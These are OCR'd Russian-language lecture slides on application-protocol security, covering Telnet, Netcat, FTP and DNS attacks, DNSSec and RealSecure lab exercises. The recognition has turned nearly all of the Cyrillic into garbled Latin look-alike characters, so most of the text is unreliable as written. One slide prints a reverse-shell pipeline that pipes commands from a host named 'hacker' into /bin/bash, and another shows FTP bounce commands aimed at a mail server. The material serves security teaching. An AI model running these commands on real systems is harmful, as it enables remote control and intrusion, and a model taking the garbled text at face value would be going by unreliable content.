[TpoTOKONbLI NPUKNIAAHOIO YPOBHA

Pa3sgen 2 — Tema 15



Peanusauua cnyxoé npukiafaHoro ypoBHs
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IS Cneundomkauna RPC-cepBepa

CepBep RPC

KnuneHt

Homep nopta

e Homep nporpamMmmbl
* Homep npoueaypsi—
» Homep Bepgmﬁ

/.

A |




RPC-ckaHupoBaHue

Cepsep RPC
Homep npoueaypsbl

Homep nopTta

KnuneHt

Mpumepb! yTMAnT anst RPC-CKaHMpoBaHus
* RPCScan (Linux)
e rpcdump  (Windows) /



[TpoTokon yganeHHoro tepmuHana - TELNET
&

[MpoTOKO/T 06MEHa

]

== == TELN ET “"Il"ll
KnueHt Cepsep
(yTunuTa telnet) (telnetd)




| B3anmopgencreue
_ «TepMUHanN-yaanéHHbIU Npouecc»

TepmuHan — CepBepHbIil NpoLece




KomaHabl npotokosia TELNET

1 6anT GV 1 6anT
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Interpret as Hanpuwmep,

Command, KnaBulla

paBeH 255 Backspace,
247




KomaHabl npotokosia TELNET

B - ;."L
|
| HasBaHue KoMaHAbl OnucaHne KomaHAabl

Ha aucnnen

[MpepbiBaHKe npouecca
nosb3oBaresnid

AO (Abort Output)

BBEAEHHOIO CNMBOJ1a

EL (Erase Line) YaaneHue TekyLlein CTPOKM
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: yassumocTtu npotokona TELNET

KneHTt
(yTunuta telnet)

Network Monitor - [Capture:1 (Summary]]
File Edit Display Tools Options Window Help

Src MAC Addr |[Dst MAC Addr
O0EO7D7CF4Ce
Iss1z7

O0E0O7D7CF4Ce
Iss1z7

ODEO7D7CF4Ce By S ——
O0EO7D7CF4Ce

O0E0O7D7CF4Ce
Iss1z7?
O0EO7D7CF4Ce
I8s1z7
Is8s81z7
O0EO7D7CF4Ce [ISS1Z7
Is851z27 O0EQO7D7CF4CE SPAAT
00EQO7D7CF4CE I TILNET

o |
PFRAME: Base frame properties

pETHERNET: ETYPE = 0x0800 Protocol =
eIP: ID = 0x2l; Proto = TCP; Len: 50

o 000000000000
Q00000000 00 60 08 4F EZ 41 00 E0O 7D 7C
Q0000010 00 32 00 21 40 00 40 06 A7 AS

00000020 01 7F 00 17 04 06 Be 19 C8 EZ
00000030 7D 78 21 DC 00 0O

I

Telnet Protocol Packet Summary

IP:

F4 Ce 08
cg 01 01
00 01 12

00 45 00
7B C8 01
SE 50 18

Fit: 29/46

Description
Server From
Client With
Server From
Client With

len:

Server From
Client With

len:

Client With

.t .DbA.8)Y1T)..E.
.Z.1@.@.geL. . {L.
0% i

Port =
Port

Port =
Port =

0

I3

Port =
Port =

0

a

Port =

Internet Protocol

Off: 54 (36)

Lo

1030
1030
1030
1030

seq:

1030
1030

.IP.

L: 10 (x4)

[

70286

[lepenaya MMeHu 1 Naposia B OTKPbLITOM BUAe

CepBep
(telnetd)



yassumocTtu npotokona TELNET

o8 Telnet - 200.1.1.123
Mogknwoyute Mpaeka TepmuHan Cnpaeka

Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-6.1.1 on an i686
login: |j

KNneHt
(ytnnuta telnet)

CepBep
(telnetd)

I3MeHeHNEe NepPeEMEHHbIX OKPY)XEHUS 0 ayTeHTUMUKaLmmn



YTo Takoe Netcat?

fiNEteat - aTo yTnmTa, KOTOPas NO3BONSAET YNTaTh
M 3anucbIBaTh JaHHbIE MO CETU C UCTOMb30BaHNEM
nporokonos TCP nnn UDP.
BoamoXxHocTu netcat :

PaboTta ¢ Bxoaswmmm n ncxoasawmmm TCP nnn UDP
COEeANHEHNSIMN, UCTOMb3YHOLWMMU J0ObIE MOPThI

BoinonHeHne DNS 3anpocoB pasnuyHbIX TUMOB
B0O3MOXHOCTb 3agaHUA nopTa UCTOYHUKA

Bo3MOXXHOCTb MCnonb3oBaHUs Noboro agpeca
NCTOYHKMKA (M3 NoKanbHO CKOHUTYPUPOBaHHbLIX)

BO3MOXHOCTU NO CKaHUPOBAHMUIO MOPTOB
PaboTa B ka4yecTtBe telnet-cepBepa



2

Netcat n Telnet - KNUeHT

“Telnet - kKNeHT nMeeT orpaHNYeHns, NPeoaoneThb
KOTOpkle nomoXxeT Netcat.
Hanpumep:

OrpaHu4YyeHusa cTaHA4apTHOro NoToka BBoAa

[Nocbinka coobweHnn 06 owMbKax B CTaHOAPTHLIN
NOTOK BbiBOAA, BMECTE C AaHHbIMM

HeBO3MOXHOCTb NOCLINKU ABOUYHbIX AaHHbIX

HeBO3MOXHOCTb HaXxoAUTbLCH B COCTOSIHUU
oxXnaaHma coeanHeHUA

HeBo3moxHocTb pabotbl ¢ UDP



ey PeXxumbl padoTbl Netcat

IALLNX COeAMHEHN

nc [-onumum] <ys3ej> NopT[b] D
[ == _Ta]

PeXnM oxungaHusi BXOASALWMX COeaANHEHN




_  BapunaHTtbl ncnonb3sosaHua Netcat
&
me K cnylwawouiemMmy nopTy Ha yaasleHHOM y3/ie

nc 200.2.2.222 80

e

2@/ 2.2.222

53 80

-



N

W

| ‘@ _mb

\WINNT\System32\cmd.exe

Microsoft Windows 2000 [Uersion 5.00.21951
<C> Copywight 1985-2000 Microsoft Corp-

C:\>n




«O6pawéHHbIN» TELNET

3T0 ynpaB/ieHne y3/10M Yepes COeNHEHNE, UHULIMNPYEMOE C HETO

b



«O0pawéHHbIn» TELNET

KomaHAabl
—-— g,
- S o
- ~
- ~
Pe3synbrarthl
— g,
- - ~ G
- ~
- ~

= E

> telnet hacker 80 | /bin/bash | telnet hacker 25—




NMpakTnyeckaa pa6ora 18

YTnnuta Netcat
«ObpaluéHHbIn» TELNET



Peanusauua cnyxobl FTP

NHTepdoenc
CepBep nosb3oBaresnsd
KnneHt
Mopaynb KomaHapb! Mopaynb
nepegayeii OTBeTh nepeayei
Mogynb NlaHHble Mogynb
AAaHHbIX AaHHbIX




~ NMaccuBHbIN BapnaHT paboTtbl FTP

komaHaa PASV
_

OTBeT C napameTpamm

(Homep nopTta a1 NoAKAHUYEHNSA)

Cepsep (ftpd)

OTKpbITME COeANHEHUSA

-

Ha yKa3aHHbIN nopT




NMpeackasyemMbin HOMepP nopTa

komaHaa PASV
_

OTBeT C napameTpamm

(Homep nopTta a1 NoAKAHUYEHNSA)

Cepsep (ftpd)

OTKpbITME COeANHEHUSA

-+—

Ha yKa3aHHbIN nopT

X | ——

MoaxoueHne paHblle KIneHTa.

\
N




.OTKprTI/Ie 60/1bLUOro KonimyecTsa NoOpToB

OTBeT C napameTpammu

-

(Homep nopTta a1 NoAKAUYEHNSA)

Cepsep (ftpd)

OTBeT C napameTpamu

-

(HomMep nopTta 1A noaKIoHeHNN)

OTBET C NapamMeTpamMmu

-

(Homep nopTta a1 NoAKAUYEHNSA)



Nepepava gaHHbIX MeXxay ABymA FTP-cepBepamu
&

Cepsep (ftpd)

YnpasnsawLlee coegnHeHne /



ATaku Ha ceTeBble C/ly)XK0bl npu nomouu FTP

&

PORT 20,1,1,1,0,25
RETR <bad file>

[MouTOBbLIV CepBep




telnet www.microsoft.com

DNS - cnyxo6a

www.microsoft.com - ?

>

100.0.0.6




« »

AdoMeHbl 1 noAgAO0OMEHbI

Name ‘ l
Server org edu

i

sale.company.com
Name Server

cam
/
company.com
Name Server
company
/‘\
‘ ‘ "'/—
//’
sale bykfg
.




3anucu Resource Record

sale.company.com. IN A 100.0.0.120

sale.company.com. IN NS ns.sale.company.com

sale

sale.company.com

Name Server



A Pa3pewieHne nmeH

main.sale.company.com - ?

-

Root Server

main.sale.company.com - ?

com Name Server

main.sale.company.com - ?

- OD< —O nw o U

-

company.com NS

main.sale.company.com - ?

-

sale.company.com NS




YA3BUMOCTU CNYXObl DNS

MEHEHMEe TPAaHCNOPTHOro NPOTOoKoa
0e3 yctaHoBneHuna coeguHeHuns (UDP)

OTcyTCcTBUE naeHTndukaumm u ayTeHTudpmnkauum

OTcyTCcTBUE CpeacTB pasrpaHMuYeHus aocrtyna



NMpumep atakm Ha IP - ceTb:
A% ATaka Ha DNS

YiieHUe HopMasibHO20 (PYHKYUOHUPOBAaHUSI 06beKkma amaku

MexaHu3m peasnusayuu
HapyweHue Hasu2ayuu (/10)XXHbIU Mapwpym)

MecmoHaxo)o0eHuUe amaxkyroue20

B oOHOM ceameHme ¢ 06 beKmoM amaku

Hcnosab3yemMblie ysa3sumocmu

Cnabas 3awuw,éHHocmb npomokosia DNS -
- HeOocmamokK rnpoekmuposaHuUs

CmeneHb pucka

Bbicokasi



NMpumep atakm Ha IP - ceTb:

ATaka Ha DNS
DNS-3anpoc
ID SourcePort
ms komnbromepa DNS-cepsep
Xocm A
F DNS-omseem
E IP - adpec

ID - 2eHepupyemcs npusioxxeHuem, nocsaswum 3arnpoc,
06bI14HO=1

SourcePort sHa4asie npuHumaem 3HadyeHue 1024
a nomom ysesiuqyusaemcs

Cxema pabomsbi DNS - npomokosia



—
iw

NMpumep atakm Ha IP - ceTb:
Ataka Ha DNS

DNS-cepsep
DNS-3anpoc

ID SourcePort
ms komnbromepa

Xocm A nocskiziaem DNS - 3anpoc

Hapywumesnb 0o/mkeH HaxooumbCsi 8 OOHOU

rnoocemu c A usiu 8 OOHolU noocemu ¢ &
DNS - cepsepom L

3mo no3so0/1umM emy repexsamums nakem
C 3arnpocom



NMpumep atakn Ha IP - ceTb:

ATaka Ha DNS

DNS-cepsep
DNS-3anpoc

—
i:u
Hapywumenb u3ssnekaem u3 3anpoca ID u SourcePort
J1oxHbIlU DNS - omsem:
om umeHuU Hacmosuje20 DNS - cepsepa,

Ho B Kayecmse IP - adpeca UCKOMO20 y3/1a
yka3bisaemcs IP - adpec Hapywumesisi

Pe3ynbmam: xocm A umeem HeripasusibHOe coomsemcmasue
MeXoy umeHeM KoMmnbromepa u IP - adpecom



NMpumep atakm Ha IP - ceTb:

ATaka Ha DNS

Y3es1 cemu
F
L«i

Tenepb nymb nakema om xocma A 00 y3/1a cemu
6ydem siexxamb Yepe3 Xocm Hapywumess



NMpumep atakm Ha IP - ceTb:
M ATtaka Ha DNS (BapuaHT 2)

YiieHUe HopMasibHO20 (PYHKYUOHUPOBAaHUSI 06beKkma amaku

MexaHu3m peasnusayuu
HapyweHue Hasu2ayuu (/10)XXHbIU Mapwpym)

MecmoHaxo)o0eHuUe amaxkyroue20

B pa3Hbix ceameHmax ¢ 06beKmom amaku

Hcnosab3yemMblie ysa3sumocmu

Cnabas 3awuw,éHHocmb npomokosia DNS -
- HeOocmamokK rnpoekmuposaHuUs

CmeneHb pucka

Bbicokasi



NMpumep atakm Ha IP - ceTb:

ATaka Ha DNS (BapuaHT 2)
DNS-cepsep

Jlo)xxHbIe DNS - omsemabi

ID DestPort —
IP - adpec L@

lMepeb6op



NMpumep aTtaku Ha IP - ceTb:

ATtaka Ha DNS (BapuaHT 2)
‘E’r DNS-cepsep

\

[

Jlo)xxHbIe DNS - omsemabi



NMpumep atakm Ha IP - ceTb:
ATaka Ha DNS (BapuaHT 2)

Y3en1 cemu

I

LW

Tenepb nymb nakema om xocma A 00 y3/1a cemu
6ydem siexxamb Yepe3 Xocm Hapywumess



NMpumep atakm Ha IP - ceTb:
ATtaka Ha DNS (BapuaHT 3)

DNS-cepsep
c/1iedyrouw,e20 ypoBsHs

DNS-3anpoc

DNS-omsem

Kaw - mabnuya



NMpumep atakm Ha IP - ceTb:
w ATtaka Ha DNS (BapuaHT 3)
DNS-cepsep
!;:epsep c/1iedyrouje20 ypoBHs

DNS-3anpoc

J1o)xHbIe DNS - omsemabi

Kaw - ma6nuya o



NMpumep atakm Ha IP - ceTb:
ATtaka Ha DNS (BapuaHT 3)

DNS-3anpoc

I -
www.infosec.ru e
- il m

>
o~

DNS-omg;etﬁ

194.154.77.123 NS

,/ : /‘/

4 s B

Kaw - mabnuya ( i

193.233.70.129  ertr.mpei.ac.ru
194.154.77.123 www.infosec.ru




DNS B KopnopatnuBHou ceTu

A b
‘B{Jeummm y3ers

»

o BTOpUYHbIN
E: PeKkypCrnBHbIM 3anpocC cepBep
e -~

Pennukauus

EKYPCUBHbIE
3anpochl

E€PBUNYHbIN

cepsep ITepaTuBHbIE

3anpochl

LLLLL

BHyTpeHHUI
y3en



DNS B KOpnopatuBHOU ceTH

-
TYN Y3/10B KOpNopaTtTuBHON CETU K NO/THOW
opMauuy 0 BHYTPEHHUX UMeHax

JocTyn oTAeNnbHbIX Y3/10B KOPNOPaTUBHOIA ceTu
K rno6asibHOMYy NpocTpaHCTBY MMEH Internet

[0CTyn BHELHUX Y3/10B K MUHUMa/IbHO HE06X04MMOI
MHOPMaLMM O BHYTPEHHMX UMEHax o




IBHbIE

AByxcepBepHasa KOHurypauus

PEKYPCUBHBbIN
3anpoc

| MexceTeBoit
SKpaH
[MepBUYHbIN
cepsep
(nosiHas
Bepcus)

N [NNepE
P cepBep
(MUHUMANE
N BepcuA)

\
(i;]\\ TpeHHMM




TpexcepBepHasa KOHurypauus

ELLUHNA y3en

BTOpUYHbIN
cepsep
(MMHMMasIbHasA BepcuA)

cepBep
(MUHUMaUTE

B Bepcus)
[MepBUYHbLIN

cepsep
§ BTOpWYHbIii ' N (nonHas
| cepsep — BepCMﬂ+KOpeHb)
(nonHas BHyTpeHHMM

STVBHbIE — BepCMﬂ) ﬂ\——) y3en (6e3 Ig

MexceTeBon
3KpaH

( ) =7
~:—) BHYTpPEHHWI
hhhhhhhhh =7 “" n (c Internet



TpéxcepBepHasa KOHJuUrypauyus

{
V

~DNS ~ DNS

~DNS
i

.’/—\
Al

/\



MpoTtokon DNSSec

‘j MexaHnsm pacrnpegeneHnsa OTKpbITbIX K/1rouen

D LleNnOCTHOCTb 1 ayTEHTUYHOCTb MHpopmauun DNS

D AyTeHTUpMKaumsa TpaH3akuuu



. HoBble 3anncu Resource Record
o
"

_rinain.sale.company.com. IN A 100.0.0.120

sale.company.com. IN NS ns.sale.company.com
sale.company.com. IN KEY [kfouy]
sale.company.com. IN SIG [noanucs]

sale.company.com. IN NXT [aoMmeH]



OTBeT

OOGbIuHbIN DNS-3anpoc

gnhame=main.sale.company.com
gtype=A

main.sale.company.com A
Bnagenei,

sale.company.com NS
[ononHnTenLHo

ns.sale.company.com A

100.0.0.120
ns.sale.company.com..

100.0.2.130




3anpoc DNSSec

gname=main.sale.company.com

gtype=A
Bonpoc
main.sale.company.com A ?
OTBeT main.sale.company.com A 100.0.0.120

main.sale.company.com SIG  [noanucs]

Bnagenew

sale.company.com NS ns.sale.company.com
sale.company.com SIG [noanwucs]
JOoNoNTHUTENBHO

ns.sale.company.com A 100.0.1.130
ns.sale.company.com SIG [nognuce]
sale.company.com KEY [kntou]

main.sale.company.com KEY [kntou]
ns.sale.company.com KEY [kntou]




MpakTnyeckaa pa6ora 19

A, 40

Py

[MpocmoTp 1 3annck ceccunt TELNET mn FTP npn nomoty RealSecure
HacTtpoiika nonb3oBaTenbCKnx coobiTu ana RealSecure



Paznen 2 — I'torun

-~
«Mopaenb OSI. Apxutektypa TCP/IP.
« CETeBbIE aHaIn3aTope.l.

e [Iporpamma Internet Scanner.
 MeXceTeBble 3KpaHbl.

e [1poTokonbl IPSec, SSL, SSH, DNSSec
* Cuctema obHapyxeHunsa atak RealSecure.
o CNly>K0bl NPMKNAAHOIO YPOBHA.



